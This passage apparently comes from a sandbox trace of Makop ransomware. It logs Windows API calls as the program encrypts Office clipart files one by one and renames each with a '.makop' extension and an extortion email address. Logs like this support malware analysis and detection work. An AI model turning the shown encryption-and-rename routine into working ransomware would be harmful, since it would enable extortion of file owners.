Office\\CLIPART\\PUB60COR\\SO02051_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.989] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.991] CloseHandle (hObject=0xf0) returned 1 [0151.991] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e1d7400, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e1d7400, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x30ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02054_.WMF", cAlternateFileName="")) returned 1 [0151.991] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF") returned 63 [0151.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.001] GetProcessHeap () returned 0x48a0000 [0152.001] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.001] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.001] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.001] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0152.006] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.006] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.007] GetProcessHeap () returned 0x48a0000 [0152.007] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.007] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.007] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.007] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.007] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.007] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.007] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.008] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.008] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.008] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.008] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.008] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.008] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x30ca, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x30ca, lpOverlapped=0x0) returned 1 [0152.012] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30d0, dwBufLen=0x30d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30d0) returned 1 [0152.013] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.013] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x30d0, lpOverlapped=0x0) returned 1 [0152.013] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.013] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x31a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.013] SetEndOfFile (hFile=0xf0) returned 1 [0152.020] GetProcessHeap () returned 0x48a0000 [0152.020] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.020] GetProcessHeap () returned 0x48a0000 [0152.020] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.021] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.021] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.022] CloseHandle (hObject=0xf0) returned 1 [0152.023] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cec4700, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cec4700, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x4c4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02055_.WMF", cAlternateFileName="")) returned 1 [0152.023] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF") returned 63 [0152.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.024] GetProcessHeap () returned 0x48a0000 [0152.024] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.024] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.024] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.024] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.028] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.028] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.028] GetProcessHeap () returned 0x48a0000 [0152.029] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.029] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.029] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.029] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.029] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.029] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.029] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.030] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.030] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.030] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.030] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.030] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.030] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4c4c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4c4c, lpOverlapped=0x0) returned 1 [0152.032] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4c50, dwBufLen=0x4c50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4c50) returned 1 [0152.032] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.032] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4c50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4c50, lpOverlapped=0x0) returned 1 [0152.032] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.032] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.033] SetEndOfFile (hFile=0xf0) returned 1 [0152.040] GetProcessHeap () returned 0x48a0000 [0152.040] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.040] GetProcessHeap () returned 0x48a0000 [0152.040] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.041] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.041] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.042] CloseHandle (hObject=0xf0) returned 1 [0152.042] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8362df00, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8362df00, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x382a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02067_.WMF", cAlternateFileName="")) returned 1 [0152.042] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF") returned 63 [0152.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.044] GetProcessHeap () returned 0x48a0000 [0152.044] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.044] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.044] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.044] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0152.049] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.049] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.049] GetProcessHeap () returned 0x48a0000 [0152.049] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.049] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.049] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.049] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.049] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.049] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.049] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.050] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.050] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.050] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.050] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.050] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.050] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x382a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x382a, lpOverlapped=0x0) returned 1 [0152.053] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3830, dwBufLen=0x3830 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3830) returned 1 [0152.053] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.054] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3830, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3830, lpOverlapped=0x0) returned 1 [0152.054] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.054] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.054] SetEndOfFile (hFile=0xf0) returned 1 [0152.061] GetProcessHeap () returned 0x48a0000 [0152.061] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.061] GetProcessHeap () returned 0x48a0000 [0152.061] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.061] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.061] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.063] CloseHandle (hObject=0xf0) returned 1 [0152.063] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63332000, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63332000, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x1b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02094_.WMF", cAlternateFileName="")) returned 1 [0152.063] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF") returned 63 [0152.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.064] GetProcessHeap () returned 0x48a0000 [0152.065] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.065] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.065] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.065] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0152.069] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.069] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.070] GetProcessHeap () returned 0x48a0000 [0152.070] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.070] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.070] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.070] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.070] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.070] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.070] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.070] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.071] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.071] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.071] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.071] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.071] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b4a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1b4a, lpOverlapped=0x0) returned 1 [0152.073] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b50, dwBufLen=0x1b50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b50) returned 1 [0152.073] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.074] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, 